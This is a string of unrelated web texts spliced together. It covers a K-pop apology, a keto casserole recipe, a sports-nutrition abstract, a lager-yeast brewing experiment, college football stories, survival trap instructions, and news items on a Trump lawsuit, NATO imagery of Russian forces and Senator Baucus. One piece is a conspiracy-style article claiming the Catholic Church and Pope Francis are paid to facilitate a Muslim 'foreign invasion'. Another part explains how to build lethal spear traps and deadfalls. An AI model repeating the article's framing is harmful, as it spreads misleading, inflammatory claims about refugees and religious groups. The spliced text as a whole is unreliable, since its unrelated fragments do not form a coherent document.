trust of our intelligence agencies than the Russians could have ever hoped to accomplish. -�apologized for SISTAR Soyu 's alleged "bad attitude" at a fan signing event on October 16.SISTAR held a fan signing for a shoe brand in Seoul's Time's Square earlier today, but some reporters seemed to have found Soyu's facial expressions and attitude inappropriate. According to reports, Soyu wasn't smiling, and she seemed to not be having a good time.�After her supposed "bad attitude" made headlines, Starship Entertainment came forward to explain and apologize. The agency explained that Soyu has still not recovered from her back injury, which occurred at the '' on September 20, and she's also suffering from the flu. She was also reportedly spotted in low spirits at the October 1st '', an October 8th fan signing, and on the 9th on ''.SISTAR's agency stated,In other news, Soyu's fans recently held a protest against �Starship Entertainment for supposedly overworking the idol.What do you think of this situation? -I was at Trader Joe’s after picking up my meat CSA and they had some really good looking avocados. Admittedly, I don’t eat nearly as much avocado as I’d like. I’ve always been scared of figuring out which one is ripe enough to eat and having the timing work out so they’re not totally brown. Well, I’ve finally gotten over my fear and figured out the proper feeling procedure. Basically you want a deep brown / black avocado that is soft to the touch but not too soft. The advantage of avocados are that they’re a keto super food since they’ve got so much fat. So much so, that it actually makes this dish a perfect ratio which means that it already has the roughly 65% / 30% fat to protein mix. Its also a 5day dish meaning it works well to make on Sunday and eat all week. Anyway, I decided to make a chicken avocado casserole suitable for lunch! Here you can see the different stages of cutting up the avocado. For ideal ripeness, the color should be like on the left. Start by splitting the avocado in half and removing the pit. Then peel off the back skin and slice into sections as shown on the left. This avocado is a little brown in color but its still good. Then grease a baking dish and line with avocados. Don’t worry if you have more avocado than needed, we’ll throw it in the casserole. So I had some precooked chicken thighs that I’d frozen and just unthawed. I’ve started doing this sort of thing a lot now. Prepping more than I need of veggies, meats, etc and making them into little starter kits for meals. Saves a ton of time. See, now I buy a full bag of onions and then shred the whole bag using a food processor. Then I freeze it all and only use what I need. It also allows me to easily use exactly 150g of onions instead of the variability of a regular vegetable. I do the same thing for peppers. So fire up your cast iron and get cooking! Since we moved, I’ve started using splatter shields. Bacon grease used to get absolutely everywhere. The new place has a nice new stove and granite counter tops so I’m trying to keep it cleaner. Here are the onions caramelizing! Now do the same for the peppers. I normally use green peppers because they have less carbs, but all I had was a selection of smaller colored peppers. So ignore the colors and pretend I used green ones 🙂 Caramelized. Now throw everything in a huge prep bowl. Here’s the mixture after its been stirred. You can see bits of the left over avocado as well. After the mixture is combined, spread it over the avocado slices. Be a little careful to not spread out the avocado. And here’s the finished product sliced for lunch! This was a short week so I only made it for 6 but it would easily scale up to 10. Here’s a picture of the final product ready for lunch. I was concerned about the avocado staying good but it lasted all week (was also super yummy)! Chicken Avocado Casserole Author: Caveman Keto Nutrition Information Serves: 6 Serving size: ⅙th Calories: 549 Fat: 40g Carbohydrates: 13g Sodium: 465mg Fiber: 7g Protein: 39g Cholesterol: 170mg Prep time: 15 mins Cook time: 20 mins Total time: 35 mins Print Ingredients 8 Boneless Chicken Thighs, cooked 4 Small Avocados 1 Medium Onion 1 Medium Pepper 8 Oz. Sour Cream 8 Oz. Cheddar Cheese 1 Tbsp Frank's Red Hot Salt and Pepper to taste Instructions Preheat oven to 350 F Start by cooking the chicken thighs, for this recipe I had them already cooked, but just bake at 350 for 1.5 hours covered with some water or cube and pan fry until juices are clear Peel avocados, cut in half, and slice into thin strips Grease a baking dish and line the bottom with avocado slices, reserve any extra Cut the peppers and onions into strips and pan fry until caramelized Add the chicken into a large bowl and flake apart Add remaining ingredients, including any extra avocado, and mix Spoon mixture over the avocado slices Bake for 20 minutes 3.2.2708 -SHARE THIS STORY: Catholic Church Facilitates Foreign Invasion As Paid Agitator In an NTEB Special Report, we have recently received information that the Catholic Church received payments totalling $79,590,512.00 to facilitate the flow of undocumented and illegal immigrants into the United States in 2014. This is six million dollars more than they were paid in 2013. Now you know why Pope Francis is so eager to push Obama’s insane flood of illegal migrants, he’s getting paid millions to do it! In the face of President Obama’s veto threat, the House passed a bill to slow Syrian refugees. But the Republican Congress also has the power to hold hearings into the millions of taxpayer dollars being funneled through Catholic and other church groups to bring them here. Many Catholics and non-Catholics alike would like to know how “religious compassion,” using federal money, is increasing the potential terrorist threat to America. Pope Francis and the dirty money trail that leads to Obama Now you know why Pope Francis pushes so very hard for “all the world” to take in these illegal Muslim migrants. He’s getting paid millions to do it. Someone once said that when something doesn’t make sense, there’s a buck in it. In this case, there were 79 million of them. You may recall that Pope Francis promoted the Obama administration’s pro-immigration policies during his visit to the U.S. Left unsaid was the fact that the American branch of the Roman Catholic Church is getting millions of taxpayer dollars to settle refugees. According to their financial statement for 2014, the latest year for which figures are available, the United States Conference of Catholic Bishops received over $79 million in government grants to provide benefits to refugees. Ann Corcoran’s Refugee Resettlement Watch website notes that Holy Trinity Roman Catholic Church in Syracuse, New York, was closed down by the Catholic Church and has been leased to an Islamic society which renamed it Mosque Of Jesus The Son Of Mary. Slamming the door in the face of refugees would betray our deepest values. That’s not who we are. And it’s not what we’re going to do. — President Obama (@POTUS) November 18, 2015 “There are slim copper crescents where, for 100 years, there had been crosses,” reports Marnie Eisenstadt of the Syracuse Post-Standard and Syracuse.com. She adds, “The six crosses were removed and replaced at the end of June. Four of them were massive: 600 pounds of concrete each, and more than 4 feet tall. The step was the last, and most visible, in the building’s change from church to mosque.” The situation is even worse in Europe, where Islam is replacing Christianity as the dominant religion. -This paper presents a model to evaluate the nutritional status of trained athletes based on work in our laboratory as well as others. The model proposes that substrate use is set by the muscle fibers recruited, based on the exercise intensity. Second, the substrate available is primarily determined by the intramuscular stores. In trained athletes, intramuscular fat plays an important role in metabolism at exercise intensities as high as 80% of maximal aerobic power. Based on these factors, increasing the fat in the diet (while maintaining adequate intramuscular glycogen) increases VO2max and intramuscular stores of fat (presumably due to increased mitochondrial volume). These two factors result in a significant increase in the time to exhaustion at set levels of exercise (endurance). It also appears that fatigue is associated with depletion of either glycogen or fat. These conclusions hold true for athletes on diets where sufficient calories are taken in to meet demands and for exercise levels below 80% of VO2max, where primarily slow-twitch oxidative fibers are used. These data may not apply in exercise where predominantly fast-twitch fibers are used. Also, these data do not apply to runners eating a hypocaloric diet, where reducing the percentage of carbohydrates may compromise their glycogen stores. It would appear that the fat in the diet can be increased to a very high level without compromising the cardiovascular or immune systems of athletes. Moreover, it can be proposed that these data could be applied to sedentary persons, as long as they are isocaloric. This would imply that the fat consumed in the diet would be used in the muscle, as in the runners, although at a lower level. Thus, the dietary intake should be matched in both total calories and percentage of fats and carbohydrates to calories consumed by daily activity. It should be cautioned that if glycogen and fat stores are compromised, protein resynthesis is inhibited and loss of muscle mass may result. This has a negative effect on the athlete's ability to perform at high levels. -Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings. Dec. 5, 2017, 11:53 PM GMT / Updated Dec. 5, 2017, 11:56 PM GMT By Adam Reiss and Alex Johnson President Donald Trump is immune from state court action, his attorney argued Tuesday in opposing a defamation lawsuit by a former "Apprentice" contestant who says Trump sexually assaulted her in 2007. New York state Supreme Court Judge Jennifer Schechter heard arguments in Manhattan and said she would rule at a later date on the president's motion to dismiss the suit by Summer Zervos, who appeared on NBC's "The Apprentice" in 2006 when Trump was its host. Summer Zervos, center, leaves state Supreme Court in New York City with attorneys Gloria Allred, left, and Mariann Meier Wang. Mary Altaffer / AP Zervos is seeking an apology and $2,914 in damages, claiming that Trump defamed her when he ridiculed sexual misconduct allegations she made against him in the weeks before the presidential election as "all made up," adding: "Lies. Lies. No witnesses. No nothing. All big lies." Zervos had alleged in October 2016 that Trump groped her and made other unwanted sexual contact multiple times during a business meeting at a hotel in Beverly Hills, California, in 2007. Several other women have also accused the president of sexual harassment — he has denied all of the allegations. Marc Kasowitz, the attorney for Trump, argued Tuesday that Trump's comments were protected political speech. In any event, he said, Schechter has no jurisdiction because "state court can't exercise any control over the president under any circumstances." Related: The Allegations Women Have Made Against Donald Trump Marc Kasowitz, an attorney for President Donald Trump, addresses the judge Tuesday in state Supreme Court in New York City. Andrew Kelly / Reuters The motion to dismiss "has nothing to do with putting anyone above the law," Kasowitz said. Instead, he said, it's about "protecting the ability of the president to do his constitutionally mandated job." Responding to Kasowitz's claim that Trump doesn't have time, as president, to deal with state lawsuits, Mariann Meier Wang, a lawyer for Zervos, said: "We can take a deposition down to Mar-a-Lago in between him going to play golf." Wang further argued that no court has ever held that the president is immune to state lawsuits, pointing to a federal law that provides for the possibility by detailing how the president could seek to move a state lawsuit to federal court. -Author: Malcolm Frazer I went through a phase of streamlining my brewing process, not only for the potential time savings but for ingredient simplification, which involved narrowing down the yeast strains I use for certain styles. When it came to lagers, I ultimately settled on WLP833 German Bock yeast, which is purportedly from the great Ayinger Brewery in the Bavaria region of Germany. White Labs provides the following description of this yeast: From the Alps of southern Bavaria, this yeast produces a beer that is well balanced between malt and hop character. The excellent malt profile makes it well suited for bocks, dopplebocks, and Oktoberfest-style beers. A very versatile lager yeast, it is so well balanced that it has gained tremendous popularity for use in classic American-style pilsners. Also good for helles-style lager beers. I’ve been pleased with my decision to stick with this yeast, as it has a performed well for me in a variety of different lager styles, but it’s true that alternatives exclude and I began to wonder if I might be missing out on something special by not playing around with other lager yeasts. One such strain I’d been hearing a lot of positive reviews about from brewers I know to make great lagers is WLP838 Southern German Lager yeast due to its tendency to leave a bit more malt character and a touch of sulfur in beer. White Labs‘ description of WLP838 is as follows: This yeast is characterized by a malty finish and balanced aroma. It is a strong fermenter that produces slight sulfur and low diacetyl.” This sounded great and got me wondering how it might compare to my go-to. Time to put this one to the test! | PURPOSE | To evaluate the differences between two beers fermented with either WLP833 German Bock yeast or WLP838 Southern German Lager yeast. | METHODS | Determining the style of beer to brew for this xBmt was easy given the yeast strains being compared and the absence of a Pilsner on tap at my house. Keine Medaille (Für Dich) Recipe Details Batch Size Boil Time IBU SRM Est. OG Est. FG ABV 5.5 gal 70 min 44.3 IBUs 3.9 SRM 1.053 1.011 5.5 % Actuals 1.052 1.01 5.5 % Fermentables Name Amount % BEST Pilsen Malt (BESTMALZ) 10 lbs 92.22 Acid Malt 6 oz 3.46 CARAHELL® 6 oz 3.46 Melanoiden Malt 1.5 oz 0.86 Hops Name Amount Time Use Form Alpha % Liberty 25 g 70 min First Wort Pellet 4.6 Magnum 14 g 60 min Boil Pellet 12 Hallertau 28 g 10 min Boil Pellet 2.5 Hallertau 21 g 2 min Boil Pellet 2.5 Saaz 21 g 2 min Boil Pellet 2.2 Yeast Name Lab Attenuation Temperature German Bock OR Southern German Lager (WLP833 OR WLP838) White Labs 73% 48°F - 55°F Notes Water Profile: Ca 60 | Mg 5 | Na 12 | SO4 90 | Cl 45 After collecting my brewing liquor and adjusting it to my desired profile, I weighed out and milled the grains. Since introduction of the variable would occur post-boil, I brewed a single batch using the batch sparge method to reduce the influence of extraneous variables. Once my strike water was adequately heated, I mashed in to come just a hair below my target mash temperature. I pulled a sample from the mash about 15 minutes in to check the pH and discovered it was a little lower than the 5.3 I was targeting. Following a 60 minute rest, I collected the first runnings of sweet wort then performed a batch sparge to reach my pre-boil volume. This was my first time using a fabric filter in my MLT, it not only resulted in clear wort immediately upon opening the valve, but cleaning up was a cinch. I proceeded to boil the wort for 60 minutes, adding hops at the times stated in the recipe. With the boil finished, I used my IC to quickly chill the wort to slightly above my groundwater temperature before racking equal amounts to separate fermentors, doing my best to ensure both received similar amounts of kettle trub. A hydrometer measurement at this point showed the wort was sitting at a respectable 1.052 OG, a couple points higher than expected. Two tears in a bucket… Using a Ss Brewtech glycol system, I chilled the wort from 65°F/18°C to my desired pitching temperature of 48°F/9°C in mere minutes, it was nuts. I then set the temperature to maintain 50°F/10°C and pitched 3 fresh packs of either WLP833 German Bock yeast or WLP838 Southern German Lager yeast into each batch. While this was a minor underpitch according to convention, I was happy to see fermentation activity from both the following evening, though the WLP838 batch seemed to require a couple more hours to get going than the WLP833 batch. I left the beers alone to ferment until both were absent of observable activity, which ended up taking the batch pitched with WLP838 a few days longer than the WLP833 batch. Hydrometer measurements 13 days post-pitch showed the WLP833 beer was at 1.012 SG while the WLP838 beer was at 1.013 SG, the former presenting as much hazier with less perceivable sulfur in the aroma than the WLP838 beer Using the glycol system, I began slowly reducing the temperature of the beers about 3°F/1.5°C per hour until they were at 35°F/2°C where they were left to lager until FG was reached. After 2 weeks of lagering, I racked the beers to purged kegs via CO2 pressure. The filled kegs were placed in my keezer where they were allowed to continue lagering while carbonating at serving pressure over a 2 week period. When it came time to collect data, the haze in the WLP833 beer had dropped out, making it look identical to the beer fermented with WLP838. | RESULTS | A panel of 32 people with varying degrees of experience participated in this xBmt. Each taster, blind to the variable being investigated, was served 2 samples of the beer fermented with WLP833 German Bock yeast and 1 sample of the beer fermented with WLP838 Southern German Lager yeast in different colored opaque cups then instructed to select the unique sample. With the given sample size, a total of 16 (p<0.05) correct selections would have been required to achieve statistical significance while 15 tasters (p=0.08) chose the different beer, indicating tasters were unable to reliably distinguish a beer fermented with WLP833 from one fermented with WLP838. Even though less than half of the participants chose the odd-beer-out in the triangle test and significance was not reached, I figured some might be interested in the preference data obtained from only the 15 correct participants. Overall, 4 preferred the WLP833 beer, 5 liked the WLP838 beer more, 3 reported having no preference despite perceiving a difference, and 3 admitted to perceiving no difference. My Impressions: Out of the 4 semi-blind triangle tests I attempted, I was correct 3 times, which surprised me given how similar the beers were in all respects. The only thing I felt made the beers discernible was my perception of a very slight sulfur character in the WLP838, which I was looking for since I noticed it in earlier samples of the unfinished beers. I truly don’t know if I would have been able to tell these beers apart if I wasn’t so intimately acquainted with them. Regardless, both were fantastic and I was happy to have them on tap! | DISCUSSION | WLP833 German Bock yeast is known by brewers the world over for being a reliable fermenter that produces crisp and clean beers with a slight edge toward malty while also keeping hops nicely balanced. It’s for these reasons I chose it as my house lager strain. One characteristic I’ve not experienced from this yeast is that subtle sulfur character that seems to bring out the “Germany” in certain lager styles, hence my interest in comparing it to WLP838 Southern German Lager yeast, which shares a similar description though is known for producing some sulfur. From what could be objectively observed, WLP833 and WLP838 did perform differently during fermentation, with the WLP833 beer being quicker to start and finish fermenting as well as maintaining a hazier appearance longer than the WLP838 batch. This led me to believe there might be a difference in attenuation, but that turned out not to be the case, as they both achieved a similar FG. In the end, after a total of 4 weeks of lagering, the WLP833 beer dropped just as clear as the WLP838 beer, leaving them identical in appearance. While I was able to choose the unique sample in 3 out of 4 biased triangle test attempts, I fully expected the one fermented with WLP838 to possess a stronger sulfur character than it did, but to me it wasn’t very different than the WLP833 beer at all. Influenced by this experience, I wasn’t surprised at all by the fact participants were unable to reliably tell them apart. In the end, I’ll continue using WLP833 German Bock yeast when making lagers, but despite their similarities in terms of finished beer character, I definitely plan to integrate WLP838 Southern German Lager yeast into my rotation due largely to my preference for a yeast that clears so quickly. I look forward to seeing how this strain performs in maltier lager styles, which I’m sure will be great based on how well it did in this xBmt Pilsner. If you have thoughts about this xBmt, please feel free to share in the comments section below! Support Brülosophy In Style! All designs are available in various colors and sizes on Amazon! Follow Brülosophy on: If you enjoy this stuff and feel compelled to support Brulosophy.com, please check out the Support Us page for details on how you can very easily do so. Thanks! Share this: Facebook Twitter Pinterest Tumblr Email Like this: Like Loading... -Reliving Wild 2015 4OT Auburn Win How wild was it Oct. 24, 2015 at Donald W. Reynolds Razorback Stadium? Here’s what happened Behind an electric crowd of 72,008 and a clutch performance by senior quarterback Brandon Allen, Arkansas downed Auburn 54-46 in four overtimes. Overtime Auburn struck first with a touchdown in the first overtime period, putting the Tigers up by seven. Fast forward a few plays and the Razorbacks were facing a 4th-and-3 from the 6-yard line when Allen connected with Drew Morgan through a tight window across the middle. PAT good, tie game. Double Overtime The Razorbacks kept possession of the ball in 2OT and took just three plays to punch it in. From three yards out Kody Walker ran it up the gut to put the Hogs back on top. Triple Overtime Here’s where things got really interesting. After back-to-back Auburn touchdowns on consecutive possessions in 2OT and 3OT, Arkansas had its back against the wall again, trailing by eight points. After Allen hit Morgan on a short pass down to the 4-yard line the Hogs faced a 4th-and-2 from the 4. Offensive Coordinator Dan Enos continued his hot streak of dialing up just the right play at the right time. Counter flip to the left and Walker walks into the end zone. Touchdown. Not tied yet. Needing a 2-point conversion to tie the game, Allen rolled out right —rolled some more, hesitated, kept rolling– before rifling it to Jeremy Sprinkle near the front pylon in the end zone. TIE GAME. Fourth Overtime On the first play of the fourth overtime, Allen connected with Morgan for a 25-yard go-ahead touchdown pass that would be the game winner. On the Tigers’ next possession, the Razorback defense shut down the run on first down and forced three straight incomplete passes to close out the contest. -Disclaimer: Traps are presented for information purposes only, they are dangerous, some lethally so. Using them is also illegal in all likelihood. Don't use them except in a survival situation. SPRING SNARE: Game running through the snare disengages the trigger bar,and the prey is flung off the ground. Use on game trails or in gaps through rocks or hedges. Cut a notch in triggerbar (a) to fit upright (b). Drive upright into ground. Attach snare to trigger bar, then trigger bar to sapling. BAITED SNARE: Construct as for spring snare but using the release mechanism shown. The bait support should be only lightly driven into the ground as it must fly away with the snare. LEG SNARE : Push a natural fork or two sticks tied together into the ground. The line from a sapling is tied to a wooden toggle and the toggle passed under the fork. When the game takes the bait, attached to a separate stick, it falls away releasing the toggle which flies up taking the snare and the game with it. Large versions are amongst the best snares or heavy game. PLATFORM TRAP: Site over a small depression on the game trail. Snares on the platforms either side, when the platform is depressed the trigger is released and the game held firmly by the leg. For smaller, lighter game use the mechanism shown in (a), displacing either the bottom bar or the toggle will trigger the trap. FIGURE 4 DEADFALL : A simple and effective deadfall trap, can be made to any size. A horizontal bait bar is is balanced at right angles to an upright with a lock bar, which supports a rock or other heavy weight pivoting around the tip of the upright. TRIPWIRE DEADFALL : A heavy log is suspended over a busy game trail, trips the wire and pulls a retaining bar from under two short pegs secured in a tree trunk. Keep the pegs as short as possible so that the bar will disengage easily. SPEAR DEADFALL : Same as tripwire deadfall but utilizing rocks to add weight and sharpened sticks to add trauma to the crushing blow. SPRUNG SPEAR TRAP : This is a VERY dangerous trap, it should always be constructed and approached from behind the spring of the trap, only attempt if you are confident that your cordage and other materials are strong enough. A springy shat with spear attached is suspended over a trail. A slip ring made of SMOOTH material is attached to a trip wire and acts as a release mechanism. A toggle (a) and short line to a fixed upright hold the sprung shaft in tension. A further rod through the ring is tensed between the near side of the sprung shaft and the far face of the upright, securing until tripped. BAITED HOLE NOOSE : This trap is very useful for scavengers, drive 4 sharpened sticks into the pit, through the edges. Lay a noose across them attached to a peg outside the pit. -Ed Orgeron was successful as the interim coach for USC last year, but he did not get the full-time job. (Photo11: Ron Chenoy, USA TODAY Sports) LITTLE ROCK, Ark. — The coach is roaring again. Ed Orgeron is expounding on his keys to running a successful college football program, pounding his fist for emphasis, when he comes to another important point: "Cookies!" Everyone laughs. But Orgeron is not kidding. "There weren't any cookies on the menu," he says. "I fed 'em cookies the first night — they ate 500!" In his mind, adding treats to the training table was an essential piece of changing the vibe at USC last season, a factor in the Trojans' dramatic turnaround under his leadership after Lane Kiffin was fired. During an appearance Monday at the Little Rock Touchdown Club — coincidentally, exactly a year after Orgeron was named the Trojans' interim head coach — he made it clear that he wants to coach again. His rambling speech, peppered with anecdotes, delivered in that familiar, gravelly Cajun drawl, could easily have served as a pitch to an athletic director or a search committee. Maybe because that's essentially what it was. "You send a message out every time you speak," Orgeron told USA TODAY Sports afterward. The message then, with Kansas and SMU already open — with others sure to open soon — is this: Orgeron is available, a candidate with head-coaching experience, serious recruiting chops and the ability to fire up, well, just about anybody. "I have a lot of good stories to tell," he says to the crowd, but then adds: "I've been out of work eight months, and somebody asks me, 'Coach, I'll bet you can't wait to get back to work! What are you missing?' I told him: "'I can't wait to be the boss of something again. Somebody's gonna listen to me — you married men understand what I'm talking about." And then, Orgeron launches into the story of how he caught his first big break, way back in 1986, with a phone call that came while he was "shoveling shrimp" back home in Louisiana. Did he want to become an assistant strength coach at Arkansas? "I threw that shrimp shovel into the bayou," he says, "and then I asked, 'Where's Arkansas?' " A few minutes later, while explaining his philosophy on recruiting, Orgeron says: "You've got to recruit the mama — and I'm good at that." Everyone laughs again. And over the next 40 minutes or so, it's obvious the audience in the hotel banquet room understands what Orgeron is talking about. "Look, everything happens for a reason," he says, referring to the USC job he wanted on a permanent basis, but didn't get. "Right now I don't know what that reason is, why I didn't become a head coach. But I'll soon find out. I believe that." Kansas? You bet he's interested. "It's a Power Five (job)," he told USA TODAY Sports. "(Mark) Mangino went 12-1 and went to the Orange Bowl. It's in a great conference. His staff proved that you can do it." And if the program is mired at the bottom of the Big 12? So what? "It's a challenging job," he said. "But most jobs you get, there's gonna be some things you're gonna have to fix." Until Orgeron gets that chance somewhere, he'll wait, back home in Mandeville, La. He says it's been good to be able to spend time with his wife and three sons, who have lived there since he spent the 2008 season with the New Orleans Saints. But the challenge has been to stay busy enough to avoid going stir-crazy. Take last weekend. Orgeron watched his son Parker play for Mandeville High — "eight receptions for 103 yards," he notes. He got to the game really early, because he loves soaking up the atmosphere. But also because he misses the game. The offseason was the worst. After 27 years on a coach's calendar — the majority of those as an assistant, with multiple recruiting trips — the free time was, well, "boring." And if August, when preseason camps started and he didn't, was tough, the season has been almost a respite. After the Friday night lights, Orgeron got in a workout Saturday morning, then grilled steaks for a family football feast. He flipped channels all day long, from one game to another. Late that night — he would not miss it — he watched USC's win against Oregon State. Sunday, it was church, then the NFL. And then it was back to the weekdays. "Monday, Tuesday and Wednesday can get a little sluggish," he says. His three-year stint as head coach at Ole Miss from 2005-07 didn't go well — 3-8, 4-8, 3-9, with only three SEC wins. But last season, after Kiffin's departure, he led the Trojans to six wins in their final eight games. "We had an unbelievable turnaround," he says, and it was so good, he sincerely believed he might get the job. When it went to Steve Sarkisian, Orgeron went home to Mandeville. "Really, not getting the job for me was like a divorce or a death in the family," he says a few moments later. "It was something you've kind of just got to get over, you know? I am now, in a positive way — but it just took a little while." Orgeron says he learned plenty from mistakes made his first time around as a head coach, when he went in with the hard-charging, ultra-aggressive mentality of a defensive line coach. The story might be apocryphal, but it's been told often that in an early team meeting with the Rebels, he tore off his shirt. "I don't do that anymore," Orgeron says. "It was a little too much." Instead, when Orgeron convened the players and staff at USC after Kiffin was let go, he had everyone play tug-of-war. Really. The offensive line squared off against the defensive line. Running backs against linebackers. Receivers against defensive backs. And then, the school's administration took on the football coaches. Orgeron asked each group: "Who won?" And then he asked everyone to grab hold of the rope and pull in the same direction. For eight games, the Trojans seemed to do just that. After an upset of Stanford at the Los Angeles Coliseum, the crowd stormed the field. "I believe I put my résumé out on the TV those last eight games," he says. "They know who I am and what I've done." It was more than cookies. Orgeron says he's learned to treat players like sons, and that he's also determined to treat assistants with respect, loosening their schedules to allow for free time. There's more, but his approach might best be distilled to three simple sentences: "Play with energy. Have fun. Loosen up." While he waits, Orgeron seems to be living the message he's preaching. "I'm 53," he says. "I'm full of fire. I'm ready to go again." Anybody listening is probably ready, too. -ALEX BLUMBERG, Radio Journalist: When I think about good tape, what I think about is some — is tape that is arresting. You don't want to stop listening to it. You can't stop listening to it. Great tape is tape where there's a lot of truth. There's a media study where they were trying to figure out, like, through which media is it easier to lie? And so they planted a false story in a TV program, in a radio program and in a print story. The easiest medium through which to detect the lie was radio. You can hear authentic emotion. You can hear people telling the truth. I have learned to try to create the conditions where good tape will occur. When I was just beginning, I would go out and I would do an interview, and I would have the feeling like something was there, but I hadn't gotten it. And then I would listen back to my tape, and I would just hear myself ruining moment after moment. It was just learning to shut up and just sort of like not fill the silence. Let people continue to talk. We don't want to just engage people on a deep, emotional — on a deep, emotional level, you know, while we're riding the elevator with them or in the subway with them. And so we develop these defenses. And so a lot of it is just sort of trying to figure out, like, no, no, no, don't go, like, the small talk route, which is, like, sort of programmed into us. And when you actually sit in the silences, it feels incredibly uncomfortable. It just feels like, oh, my God, I'm just sitting here and this person is like mad or angry or upset or — and I should be saying something. I think that's the way we feel a lot of time. I don't think it's actually true. If you are comfortable with them sitting in silence and really experiencing an emotion, they feel comfortable, too. But it's just — when it's happening, in the moment, it just feels like it's going on forever. Those are the moments that are amazing on the air. Like, those are the moments where it's just sort of, like, sort of raw, electric silence. You know, that's what you're going for. My name is Alex Blumberg, and this is my Brief But Spectacular take on good tape. -NATO released satellite images on Thursday of what it said were Russian artillery, vehicles and troops in and around eastern Ukraine, just as Ukrainian officials said Russian troops in armored vehicles captured the Ukrainian town of Novoazovsk, along its southeastern coastline. The satellite photos appear to show Russian vehicles and troops in numerous locations. NATO officials said that the first image below shows a convoy with self-propelled artillery in the area of Krasnodon, Ukraine, inside territory controlled by Russian-backed separatists on Aug. 21. The Ukrainian military has not moved this far inside separatist-controlled territory, so NATO officials said they are confident the equipment is Russian: This second image shows Russian artillery units setting up positions in Krasnodon, NATO officials said. Vehicles believed to be carrying ammunition and supplies are alongside them. “This configuration is exactly how trained military professionals would arrange their assets on the ground, indicating that these are not unskilled amateurs, but Russian soldiers,” NATO officials said. The image below shows shows a staging area for military equipment on the Russian side of the border, near Rostov-on-Don, NATO said. It appears to be about 31 miles from the border crossing in Dovzhansky, Ukraine. The photo below, to the left, was taken June 19, and shows the area mostly empty. The photo to the right was taken Aug. 20, and shows Russian tanks, armored personnel carriers, trucks and tents, NATO officials said. Russia is said to have set up similar encampments on other areas of the border: NATO says this next photo, taken July 23, appears to show six Russian 153mm artillery guns in Russian near Kuybyshevo. It’s four miles south of the Ukrainian border, within range of dropping shells over the border. The guns are pointed north, toward Ukraine, NATO says. NATO says this last photo, below, shows a wider view of the guns in the previous image. The firing positions of the artillery pieces are circled in red, and indicate “it would be impossible NOT to fire into Ukrainian territory,” NATO says. The photos were taken by a company called DigitalGlobe. Based in Longmont, Colo., they take high-resolution satellite photos across the world. The photos were released after days of increasing tension between the two countries. On Tuesday, Ukrainian forces said they had captured 10 Russian paratroopers in the Donetsk region of Ukraine. Ukraine also released video of what they said was a Russian tank in Novoazovsk, the coastal town officials in Kiev said Russian troops had captured: Ukraine's Security Council released video of what it says is a Russian tank in the southeastern town of Novoazovsk, bolstering claims that "Russian military boots are on Ukrainian ground." (Reuters) Moscow will consider the activity of NATO forces near Russia’s borders in its own military planning, Russia’s envoy to NATO told the Interfax news agency Thursday. “Obviously, we will take into consideration the configuration and activity of the NATO forces at the Russian borders in our military planning, and will take all that is necessary to reliably provide security and to ensure safety against any threats,” envoy Alexander Grushko told Interfax. As this Washington Post map shows, Russian-backed separatists do not control as much territory in eastern Ukraine as they did in June. But they still have strong influence across the region, and control of several key areas, including the crash site of Malaysia Airlines Flight 17, which U.S. officials say was shot down by a surface-to-air missile July 17. Based on news reports and the National Security and Defense Council of Ukraine. (Gene Thorp/ The Washington Post) -Oregon State athletic department officials have Eastern Washington coach Beau Baldwin on a list of prospective candidates for the Beavers' head football coaching vacancy, according to a source with knowledge of the hiring process. An EWU athletic department spokesman declined to comment Monday on whether OSU has asked the Eagles for permission to interview Baldwin. Multiple news outlets have mentioned Baldwin in recent days as a possible successor to Mike Riley, who left OSU for Nebraska late last week after 14 years — 12 consecutive — in Corvallis. Since replacing Paul Wulff at EWU in 2008, Baldwin is 66-24. The 42-year-old has led the Eagles to four Big Sky Conference titles in five years, won the 2010 FCS national title and opened the 2013 season with a win over OSU at Reser Stadium. Baldwin, who grew up in Tacoma, is considered an innovative offensive mind with a proven track record recruiting the Northwest. The majority of his roster is from west of the Cascades. "By no means would I not be interested in hearing from a school at the Pac-12 level," Baldwin told The Spokesman-Review last week. On Monday morning, 247sports.com's Josh Newberg reported that OSU has contacted former Michigan coach Brady Hoke. Hoke was a Beavers assistant from 1989-94, and he served as a Michigan assistant under then-Wolverines senior associate athletic director — and current OSU athletic director Bob De Carolis — from 1995-98. -- Connor Letourneau | @ConnOregonian -Senate Finance Committee Chairman Max Baucus (D-Mont.) plans to announce that he will retire rather than seek reelection in 2014, according to Democratic strategists familiar with his plans, ending one of the most influential congressional careers of his generation. These two remain tied for our 10th spot. The GOP got some good news and bad news in the last month as top potential recruit Rep. Mike Rogers opted not to run but former secretary of state Terri Lynn Land jumped in the race. Republicans at least have a statewide winner on the ballot against Rep. Gary Peters (D), left. As for Georgia, Democrats are still waiting on Michelle Nunn to get in, and the crowded GOP primary field has yet to really take shape. Both remain uphill climbs for the opposition party. (Previous ranking: 10) 10. Georgia (Republican-controlled)/Michigan (Democratic-controlled) (tie) These two remain tied for our 10th spot. The GOP got some good news and bad news in the last month as top potential recruit Rep. Mike Rogers opted not to run but former secretary of state Terri Lynn Land jumped in the race. Republicans at least have a statewide winner on the ballot against Rep. Gary Peters (D), left. As for Georgia, Democrats are still waiting on Michelle Nunn to get in, and the crowded GOP primary field has yet to really take shape. Both remain uphill climbs for the opposition party. (Previous ranking: 10) Carlos Osorio/AP The 2014 midterm elections are just around the corner. These are the races to watch. The 2014 midterm elections are just around the corner. These are the races to watch. The 2014 midterm elections are just around the corner. These are the races to watch. Baucus, 71, first elected in 1978,has been the top Democrat on the powerful committee since 2001. At times infuriating his Democratic colleagues, Baucus worked with Republicans to co-write the Bush-era tax cuts and the Medicare prescription drug plan, but he also served as the lead defender against George W. Bush’s 2005 effort to partially privatize Social Security and played a critical role in writing President Obama’s national health-care plan. Baucus, from conservative-leaning Montana, has voted against Democratic initiatives on some social issues, most recently last week’s effort to create an expanded background check system for gun purchases. Republicans have been trying to land a top recruit to challenge Baucus, who despite his unpolished public image has been one of the savviest political operators among Mountain West Democrats. He repeatedly won tough reelection battles and graduated from his staffs some of his party’s most influential political advisers and K Street lobbyists, establishing a Baucus alumni network that was envied by other senators and reviled by ethics watchdogs. Despite Obama’s double-digit defeat in Montana, Democrats intend to vigorously defend the seat. The leading potential Democratic candidate is former governor Brian Schweitzer, a popular figure who at times has feuded with Baucus over local political issues in the Big Sky state. In February, Schweitzer hinted at a potential run in a Facebook post. Emerging from a private huddle with members of the Finance Committee, Baucus acknowledged the news but declined to formally confirm it, saying he had to go address his staff. "You guys are really good. You get wind of stuff awfully quickly," Baucus told reporters. "Which means it's sort of changed my schedule today. ... 